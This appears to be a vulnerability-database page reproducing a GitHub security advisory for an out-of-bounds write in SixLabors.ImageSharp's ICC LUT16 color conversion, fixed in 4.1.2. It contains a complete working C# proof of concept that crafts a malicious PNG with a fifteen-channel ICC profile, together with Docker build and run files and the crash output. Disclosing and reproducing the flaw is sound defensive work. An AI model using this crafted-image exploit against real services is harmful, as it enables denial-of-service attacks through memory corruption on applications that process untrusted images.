GHSA-FFP7-56PQ-64MR

Vulnerability from github – Published: 2026-10-07 20:24 – Updated: 2026-10-07 20:24
VLAI
Summary
ImageSharp: ICC LUT16 output channel count can write beyond Vector4
Details

Summary

When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with more than four output channels can corrupt memory during ImageSharp color conversion. The ICC parser accepts up to 15 CLUT output channels, while the conversion implementation stores intermediate values in Vector4.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected published releases: 4.0.0, 4.1.0, and 4.1.1
  • Affected range: >= 4.0.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

The reproduced ColorProfileHandling.Convert path and the unsafe Vector4 LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three.

Details

IccClut accepts one through fifteen input and output channels. In the reproduced A2B0 LUT16 path, an attacker-controlled profile declares three input channels and fifteen output channels. ClutCalculator.Calculate passes a pointer to a four-float Vector4 result into interpolation code that writes one float per declared output channel. It consequently writes fifteen floats. The same LUT16 tag also has fifteen output LUTs; their LutEntryCalculator.CalculateLut implementation uses Unsafe.Add from the first float of a four-float Vector4.

An application reaches this code by decoding an image containing the profile with DecoderOptions.ColorProfileHandling set to Convert. Preserve is the default and does not run ICC conversion.

Reproduction environment and result

The supplied exploit and control were run against the published NuGet 4.1.1 net8.0 DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and .NET runtime 8.0.30.

The control changes only the declared output-channel count from fifteen to three and completes successfully. The exploit terminates with exit status 139 before it reaches the completion marker. This runtime PoC establishes memory corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which unsafe write first corrupts the stack. The full self-contained Docker PoC is included below.

Complete control output:

mode=control output_channels=3
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=204
decode_completed
Docker exit status: 0

Complete exploit output:

mode=exploit output_channels=15
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=207
Docker exit status: 139

No active exploitation is known.

Impact

Applications that enable ICC conversion while processing attacker-supplied images can be made to terminate through memory corruption in the reproduced LUT16 CLUT/output-LUT path. This report is limited to output-channel counts greater than four in that path; it does not claim a TRC issue or other unreproduced ICC paths.

Complete PoC files

Program.cs:

using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;

static class Program
{
    private static void U32(Stream stream, uint value)
    {
        Span<byte> bytes = stackalloc byte[4];
        BinaryPrimitives.WriteUInt32BigEndian(bytes, value);
        stream.Write(bytes);
    }

    private static void U16(Stream stream, ushort value)
    {
        Span<byte> bytes = stackalloc byte[2];
        BinaryPrimitives.WriteUInt16BigEndian(bytes, value);
        stream.Write(bytes);
    }

    private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));

    // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control
    // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4.
    private static byte[] BuildIcc(int outCh)
    {
        const int inCh = 3;
        const int clutPoints = 2;
        const int tableEntries = 2;
        using var stream = new MemoryStream();

        byte[] header = new byte[128];
        BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3
        Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device
        Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16);
        Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20);
        stream.Write(header);

        U32(stream, 1);                 // one tag
        stream.Write(Encoding.ASCII.GetBytes("A2B0"));
        long offsetField = stream.Position; U32(stream, 0);
        long sizeField = stream.Position; U32(stream, 0);
        long tagStart = stream.Position;

        stream.Write(Encoding.ASCII.GetBytes("mft2"));
        U32(stream, 0);
        stream.WriteByte(inCh);
        stream.WriteByte((byte)outCh);
        stream.WriteByte(clutPoints);
        stream.WriteByte(0);
        for (int y = 0; y < 3; y++)
        {
            for (int x = 0; x < 3; x++) Fixed16(stream, x == y ? 1D : 0D);
        }

        U16(stream, tableEntries);
        U16(stream, tableEntries);
        for (int channel = 0; channel < inCh; channel++)
        {
            U16(stream, 0); U16(stream, ushort.MaxValue);
        }

        for (int point = 0; point < 8; point++)
        {
            for (int channel = 0; channel < outCh; channel++) U16(stream, 0x8000);
        }

        for (int channel = 0; channel < outCh; channel++)
        {
            U16(stream, 0); U16(stream, ushort.MaxValue);
        }

        long tagEnd = stream.Position;
        byte[] result = stream.ToArray();
        BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)offsetField), (uint)tagStart);
        BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)sizeField), (uint)(tagEnd - tagStart));
        BinaryPrimitives.WriteUInt32BigEndian(result, (uint)result.Length);
        return result;
    }

    private static byte[] BuildPng(byte[] icc)
    {
        using var source = new Image<Rgb24>(16, 16);
        source.Metadata.IccProfile = new IccProfile(icc);
        using var encoded = new MemoryStream();
        source.SaveAsPng(encoded);
        return encoded.ToArray();
    }

    public static int Main(string[] args)
    {
        string mode = args.Length == 1 ? args[0] : "exploit";
        if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control");
        int outputChannels = mode == "exploit" ? 15 : 3;
        Console.WriteLine($"mode={mode} output_channels={outputChannels}");
        Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}");
        Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}");
        byte[] png = BuildPng(BuildIcc(outputChannels));
        Console.WriteLine($"png_bytes={png.Length}");
        var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert };
        using Image image = Image.Load(options, png);
        Console.WriteLine("decode_completed");
        return 0;
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>disable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
      <Private>true</Private>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
      <Private>true</Private>
    </Reference>
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY ffp7.csproj Program.cs ./
# Restore only to obtain the published package. The repro project then uses a
# direct DLL reference so ImageSharp's package build target is not invoked.
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build ffp7.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/ffp7.dll"]

Run:

docker build -t imagesharp-ffp7-poc .
docker run --rm imagesharp-ffp7-poc control
docker run --rm imagesharp-ffp7-poc exploit
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "SixLabors.ImageSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106112"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:24:37Z",
    "nvd_published_at": "2026-10-06T18:16:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen ICC conversion is enabled, a malformed embedded ICC LUT16 profile with\nmore than four output channels can corrupt memory during ImageSharp color\nconversion. The ICC parser accepts up to 15 CLUT output channels, while the\nconversion implementation stores intermediate values in `Vector4`.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected published releases: **4.0.0, 4.1.0, and 4.1.1**\n- Affected range: `\u003e= 4.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe reproduced `ColorProfileHandling.Convert` path and the unsafe `Vector4` LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three.\n\n### Details\n\n`IccClut` accepts one through fifteen input and output channels. In the\nreproduced `A2B0` LUT16 path, an attacker-controlled profile declares three\ninput channels and fifteen output channels. [`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87)\npasses a pointer to a four-float `Vector4` result into interpolation code that\nwrites one float per declared output channel. It consequently writes fifteen\nfloats. The same LUT16 tag also has fifteen output LUTs; their\n[`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58)\nimplementation uses `Unsafe.Add` from the first float of a four-float `Vector4`.\n\nAn application reaches this code by decoding an image containing the profile\nwith `DecoderOptions.ColorProfileHandling` set to `Convert`. `Preserve` is the\ndefault and does not run ICC conversion.\n\n### Reproduction environment and result\n\nThe supplied exploit and control were run against the published NuGet 4.1.1\n`net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and\n.NET runtime 8.0.30.\n\nThe control changes only the declared output-channel count from fifteen to\nthree and completes successfully. The exploit terminates with exit status 139\nbefore it reaches the completion marker. This runtime PoC establishes memory\ncorruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which\nunsafe write first corrupts the stack. The full self-contained Docker PoC is\nincluded below.\n\nComplete control output:\n\n```text\nmode=control output_channels=3\nimagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll\nimagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\npng_bytes=204\ndecode_completed\nDocker exit status: 0\n```\n\nComplete exploit output:\n\n```text\nmode=exploit output_channels=15\nimagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll\nimagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\npng_bytes=207\nDocker exit status: 139\n```\n\nNo active exploitation is known.\n\n### Impact\n\nApplications that enable ICC conversion while processing attacker-supplied\nimages can be made to terminate through memory corruption in the reproduced\nLUT16 CLUT/output-LUT path. This report is limited to output-channel counts\ngreater than four in that path; it does not claim a TRC issue or other\nunreproduced ICC paths.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing System;\nusing System.Buffers.Binary;\nusing System.IO;\nusing System.Reflection;\nusing System.Text;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats;\nusing SixLabors.ImageSharp.Metadata.Profiles.Icc;\nusing SixLabors.ImageSharp.PixelFormats;\n\nstatic class Program\n{\n    private static void U32(Stream stream, uint value)\n    {\n        Span\u003cbyte\u003e bytes = stackalloc byte[4];\n        BinaryPrimitives.WriteUInt32BigEndian(bytes, value);\n        stream.Write(bytes);\n    }\n\n    private static void U16(Stream stream, ushort value)\n    {\n        Span\u003cbyte\u003e bytes = stackalloc byte[2];\n        BinaryPrimitives.WriteUInt16BigEndian(bytes, value);\n        stream.Write(bytes);\n    }\n\n    private static void Fixed16(Stream stream, double value) =\u003e U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));\n\n    // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control\n    // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4.\n    private static byte[] BuildIcc(int outCh)\n    {\n        const int inCh = 3;\n        const int clutPoints = 2;\n        const int tableEntries = 2;\n        using var stream = new MemoryStream();\n\n        byte[] header = new byte[128];\n        BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3\n        Encoding.ASCII.GetBytes(\"mntr\").CopyTo(header, 12); // display device\n        Encoding.ASCII.GetBytes(\"RGB \").CopyTo(header, 16);\n        Encoding.ASCII.GetBytes(\"XYZ \").CopyTo(header, 20);\n        stream.Write(header);\n\n        U32(stream, 1);                 // one tag\n        stream.Write(Encoding.ASCII.GetBytes(\"A2B0\"));\n        long offsetField = stream.Position; U32(stream, 0);\n        long sizeField = stream.Position; U32(stream, 0);\n        long tagStart = stream.Position;\n\n        stream.Write(Encoding.ASCII.GetBytes(\"mft2\"));\n        U32(stream, 0);\n        stream.WriteByte(inCh);\n        stream.WriteByte((byte)outCh);\n        stream.WriteByte(clutPoints);\n        stream.WriteByte(0);\n        for (int y = 0; y \u003c 3; y++)\n        {\n            for (int x = 0; x \u003c 3; x++) Fixed16(stream, x == y ? 1D : 0D);\n        }\n\n        U16(stream, tableEntries);\n        U16(stream, tableEntries);\n        for (int channel = 0; channel \u003c inCh; channel++)\n        {\n            U16(stream, 0); U16(stream, ushort.MaxValue);\n        }\n\n        for (int point = 0; point \u003c 8; point++)\n        {\n            for (int channel = 0; channel \u003c outCh; channel++) U16(stream, 0x8000);\n        }\n\n        for (int channel = 0; channel \u003c outCh; channel++)\n        {\n            U16(stream, 0); U16(stream, ushort.MaxValue);\n        }\n\n        long tagEnd = stream.Position;\n        byte[] result = stream.ToArray();\n        BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)offsetField), (uint)tagStart);\n        BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)sizeField), (uint)(tagEnd - tagStart));\n        BinaryPrimitives.WriteUInt32BigEndian(result, (uint)result.Length);\n        return result;\n    }\n\n    private static byte[] BuildPng(byte[] icc)\n    {\n        using var source = new Image\u003cRgb24\u003e(16, 16);\n        source.Metadata.IccProfile = new IccProfile(icc);\n        using var encoded = new MemoryStream();\n        source.SaveAsPng(encoded);\n        return encoded.ToArray();\n    }\n\n    public static int Main(string[] args)\n    {\n        string mode = args.Length == 1 ? args[0] : \"exploit\";\n        if (mode is not (\"exploit\" or \"control\")) throw new ArgumentException(\"mode must be exploit or control\");\n        int outputChannels = mode == \"exploit\" ? 15 : 3;\n        Console.WriteLine($\"mode={mode} output_channels={outputChannels}\");\n        Console.WriteLine($\"imagesharp_assembly={typeof(Image).Assembly.Location}\");\n        Console.WriteLine($\"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute\u003cAssemblyInformationalVersionAttribute\u003e()?.InformationalVersion}\");\n        byte[] png = BuildPng(BuildIcc(outputChannels));\n        Console.WriteLine($\"png_bytes={png.Length}\");\n        var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert };\n        using Image image = Image.Load(options, png);\n        Console.WriteLine(\"decode_completed\");\n        return 0;\n    }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003cImplicitUsings\u003edisable\u003c/ImplicitUsings\u003e\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\n  \u003c/PropertyGroup\u003e\n  \u003cItemGroup\u003e\n    \u003cReference Include=\"SixLabors.ImageSharp\"\u003e\n      \u003cHintPath\u003e/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll\u003c/HintPath\u003e\n      \u003cPrivate\u003etrue\u003c/Private\u003e\n    \u003c/Reference\u003e\n    \u003cReference Include=\"System.IO.Hashing\"\u003e\n      \u003cHintPath\u003e/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll\u003c/HintPath\u003e\n      \u003cPrivate\u003etrue\u003c/Private\u003e\n    \u003c/Reference\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY ffp7.csproj Program.cs ./\n# Restore only to obtain the published package. The repro project then uses a\n# direct DLL reference so ImageSharp\u0027s package build target is not invoked.\nRUN printf \u0027%s\\n\u0027 \u0027\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\u003cPropertyGroup\u003e\u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\u003c/PropertyGroup\u003e\u003cItemGroup\u003e\u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\u003c/ItemGroup\u003e\u003c/Project\u003e\u0027 \u003e fetch.csproj \\\n    \u0026\u0026 dotnet restore fetch.csproj --nologo \\\n    \u0026\u0026 rm fetch.csproj \\\n    \u0026\u0026 dotnet build ffp7.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/ffp7.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-ffp7-poc .\ndocker run --rm imagesharp-ffp7-poc control\ndocker run --rm imagesharp-ffp7-poc exploit\n```",
  "id": "GHSA-ffp7-56pq-64mr",
  "modified": "2026-10-07T20:24:37Z",
  "published": "2026-10-07T20:24:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-ffp7-56pq-64mr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106112"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/pull/3187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/b03f0ed7e5be760eecc740fa53dd166b18ae9b23"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SixLabors/ImageSharp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageSharp: ICC LUT16 output channel count can write beyond Vector4"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.